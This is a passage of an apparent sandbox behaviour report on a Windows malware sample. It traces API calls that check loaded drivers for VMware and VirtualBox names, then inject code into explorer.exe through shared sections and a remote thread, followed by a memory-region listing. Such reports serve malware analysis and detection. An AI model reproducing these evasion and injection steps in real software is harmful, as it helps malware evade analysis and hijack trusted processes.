(_Str="pshed.dll", _SubStr="vmmous") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vm3dmp") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vmrawd") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vmmemc") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vboxgu") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vboxsf") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vboxmo") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vboxvi") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vboxdi") returned 0x0 [0087.171] strstr (_Str="pshed.dll", _SubStr="vioser") returned 0x0 [0087.171] strstr (_Str="bootvid.dll", _SubStr="vmci.s") returned 0x0 [0087.171] strstr (_Str="bootvid.dll", _SubStr="vmusbm") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vmmous") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vm3dmp") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vmrawd") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vmmemc") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vboxgu") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vboxsf") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vboxmo") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vboxvi") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vboxdi") returned 0x0 [0087.172] strstr (_Str="bootvid.dll", _SubStr="vioser") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vmci.s") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vmusbm") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vmmous") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vm3dmp") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vmrawd") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vmmemc") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vboxgu") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vboxsf") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vboxmo") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vboxvi") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vboxdi") returned 0x0 [0087.172] strstr (_Str="cmimcext.sys", _SubStr="vioser") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vmci.s") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vmusbm") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vmmous") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vm3dmp") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vmrawd") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vmmemc") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vboxgu") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vboxsf") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vboxmo") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vboxvi") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vboxdi") returned 0x0 [0087.173] strstr (_Str="ntosext.sys", _SubStr="vioser") returned 0x0 [0087.173] strstr (_Str="ci.dll", _SubStr="vmci.s") returned 0x0 [0087.173] strstr (_Str="ci.dll", _SubStr="vmusbm") returned 0x0 [0087.173] strstr (_Str="ci.dll", _SubStr="vmmous") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vm3dmp") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vmrawd") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vmmemc") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vboxgu") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vboxsf") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vboxmo") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vboxvi") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vboxdi") returned 0x0 [0087.174] strstr (_Str="ci.dll", _SubStr="vioser") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vmci.s") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vmusbm") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vmmous") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vm3dmp") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vmrawd") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vmmemc") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vboxgu") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vboxsf") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vboxmo") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vboxvi") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vboxdi") returned 0x0 [0087.174] strstr (_Str="msrpc.sys", _SubStr="vioser") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vmci.s") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vmusbm") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vmmous") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vm3dmp") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vmrawd") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vmmemc") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vboxgu") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vboxsf") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vboxmo") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vboxvi") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vboxdi") returned 0x0 [0087.175] strstr (_Str="fltmgr.sys", _SubStr="vioser") returned 0x0 [0087.175] strstr (_Str="ksecdd.sys", _SubStr="vmci.s") returned 0x0 [0087.175] strstr (_Str="ksecdd.sys", _SubStr="vmusbm") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vmmous") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vm3dmp") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vmrawd") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vmmemc") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vboxgu") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vboxsf") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vboxmo") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vboxvi") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vboxdi") returned 0x0 [0087.176] strstr (_Str="ksecdd.sys", _SubStr="vioser") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vmci.s") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vmusbm") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vmmous") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vm3dmp") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vmrawd") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vmmemc") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vboxgu") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vboxsf") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vboxmo") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vboxvi") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vboxdi") returned 0x0 [0087.176] strstr (_Str="clipsp.sys", _SubStr="vioser") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vmci.s") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vmusbm") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vmmous") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vm3dmp") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vmrawd") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vmmemc") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vboxgu") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vboxsf") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vboxmo") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vboxvi") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vboxdi") returned 0x0 [0087.177] strstr (_Str="wdf01000.sys", _SubStr="vioser") returned 0x0 [0087.177] strstr (_Str="wdfldr.sys", _SubStr="vmci.s") returned 0x0 [0087.177] strstr (_Str="wdfldr.sys", _SubStr="vmusbm") returned 0x0 [0087.177] strstr (_Str="wdfldr.sys", _SubStr="vmmous") returned 0x0 [0087.177] strstr (_Str="wdfldr.sys", _SubStr="vm3dmp") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vmrawd") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vmmemc") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vboxgu") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vboxsf") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vboxmo") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vboxvi") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vboxdi") returned 0x0 [0087.178] strstr (_Str="wdfldr.sys", _SubStr="vioser") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vmci.s") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vmusbm") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vmmous") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vm3dmp") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vmrawd") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vmmemc") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vboxgu") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vboxsf") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vboxmo") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vboxvi") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vboxdi") returned 0x0 [0087.178] strstr (_Str="acpiex.sys", _SubStr="vioser") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vmci.s") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vmusbm") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vmmous") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vm3dmp") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vmrawd") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vmmemc") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vboxgu") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vboxsf") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vboxmo") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vboxvi") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vboxdi") returned 0x0 [0087.179] strstr (_Str="wpprecorder.sys", _SubStr="vioser") returned 0x0 [0087.179] strstr (_Str="cng.sys", _SubStr="vmci.s") returned 0x0 [0087.179] strstr (_Str="cng.sys", _SubStr="vmusbm") returned 0x0 [0087.179] strstr (_Str="cng.sys", _SubStr="vmmous") returned 0x0 [0087.179] strstr (_Str="cng.sys", _SubStr="vm3dmp") returned 0x0 [0087.179] strstr (_Str="cng.sys", _SubStr="vmrawd") returned 0x0 [0087.180] strstr (_Str="cng.sys", _SubStr="vmmemc") returned 0x0 [0087.180] strstr (_Str="cng.sys", _SubStr="vboxgu") returned 0x0 [0087.180] strstr (_Str="cng.sys", _SubStr="vboxsf") returned 0x0 [0087.180] strstr (_Str="cng.sys", _SubStr="vboxmo") returned 0x0 [0087.181] LocalFree (hMem=0x1d72050) returned 0x0 [0087.181] Sleep (dwMilliseconds=0x1388) [0092.189] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x19ff1c*=0x0, ZeroBits=0x0, RegionSize=0x19ff24*=0x5200, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x19ff1c*=0x1f0000, RegionSize=0x19ff24*=0x6000) returned 0x0 [0092.191] GetShellWindow () returned 0x100cc [0092.191] GetWindowThreadProcessId (in: hWnd=0x100cc, lpdwProcessId=0x19fec8 | out: lpdwProcessId=0x19fec8) returned 0x61c [0092.192] NtOpenProcess (in: ProcessHandle=0x19ff18, DesiredAccess=0x40, ObjectAttributes=0x19ff00*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x19fef8*(UniqueProcess=0x618, UniqueThread=0x0) | out: ProcessHandle=0x19ff18*=0x15c) returned 0x0 [0092.192] NtDuplicateObject (in: SourceProcessHandle=0x15c, SourceHandle=0xffffffff, TargetProcessHandle=0xffffffff, TargetHandle=0x19ff1c, DesiredAccess=0x0, HandleAttributes=0x0, Options=0x2 | out: TargetHandle=0x19ff1c*=0x160) returned 0x0 [0092.192] NtCreateSection (in: SectionHandle=0x19fed4, DesiredAccess=0x6, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x4, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed4*=0x164) returned 0x0 [0092.192] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0xffffffff, BaseAddress=0x19fee4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee4*=0x4d0000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0092.193] NtMapViewOfSection (in: SectionHandle=0x164, ProcessHandle=0x160, BaseAddress=0x19feec*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19feec*=0x2290000, SectionOffset=0x0, ViewSize=0x19fef0*=0x5000) returned 0x0 [0095.197] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4d0000, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 0x48 [0095.197] NtCreateSection (in: SectionHandle=0x19fed0, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x19fed8, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x19fed0*=0x168) returned 0x0 [0095.197] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0xffffffff, BaseAddress=0x19fee0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x15200, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x19fee0*=0x4e0000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0095.198] NtMapViewOfSection (in: SectionHandle=0x168, ProcessHandle=0x160, BaseAddress=0x19fee8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x20 | out: BaseAddress=0x19fee8*=0x400000, SectionOffset=0x0, ViewSize=0x19fef0*=0x16000) returned 0x0 [0095.203] RtlCreateUserThread (in: ProcessHandle=0x160, SecurityDescriptor=0x0, CreateSuspended=0, StackZeroBits=0x0, StackReserve=0x0, StackCommit=0x0, StartAddress=0x401930, Parameter=0x2290000, ThreadHandle=0x19fe30*=0x9001d72048, ClientId=0x0 | out: ThreadHandle=0x19fe30*=0x16c, ClientId=0x0) returned 0x0 [0095.348] NtTerminateProcess (ProcessHandle=0xffffffff, ExitStatus=0x0) Thread: id = 4 os_tid = 0x90c Process: id = "3" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x2b639000" os_pid = "0x618" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "2" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 381 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 382 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 383 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 384 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 385 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 386 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 387 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 388 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 389 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 390 start_va = 0x1d0000 end_va = 0x1d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 391 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 392 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 393 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 394 start_va = 0x400000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 395 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 396 start_va = 0x490000 end_va = 0x490fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 397 start_va = 0x4a0000 end_va = 0x4a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 398 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 399 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 400 start_va = 0x4d0000 end_va = 0x4d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 401 start_va = 0x4e0000 end_va = 0x4f2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 402 start_va = 0x500000 end_va = 0x500fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 403 start_va = 0x510000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 404 start_va = 0x520000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 405 start_va = 0x620000 end_va = 0x638fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000c.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000c.db") Region: id = 406 start_va = 0x640000 end_va = 0x641fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 407 start_va = 0x650000 end_va = 0x67dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 408 start_va = 0x680000 end_va = 0x681fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 409 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 410 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 411 start_va = 0x6b0000 end_va = 0x6b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 412 start_va = 0x6c0000 end_va = 0x6c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 413 start_va = 0x6d0000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 414 start_va = 0x6e0000 end_va = 0x6e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 415 start_va = 0x6f0000 end_va = 0x6f1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 416 start_va = 0x700000 end_va = 0x70dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 417 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 418 start_va = 0x720000 end_va = 0x721fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 419 start_va = 0x730000 end_va = 0x733fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 420 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 421 start_va = 0x750000 end_va = 0x8d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000750000" filename = "" Region: id = 422 start_va = 0x8e0000 end_va = 0xa60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 423 start_va = 0xa70000 end_va = 0x1e6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 424 start_va = 0x1e70000 end_va = 0x226afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 425 start_va = 0x2270000 end_va = 0x2271fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 426 start_va = 0x2280000 end_va = 0x2280fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 427 start_va = 0x2290000 end_va = 0x2294fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002290000" filename = "" Region: id = 428 start_va = 0x22a0000 end_va = 0x22a3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 429 start_va = 0x22b0000 end_va = 0x22b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 430 start_va = 0x22c0000 end_va = 0x22d7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000d.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db") Region: id = 431 start_va = 0x22e0000 end_va = 0x22e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 432 start_va = 0x22f0000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 433 start_va = 0x2370000 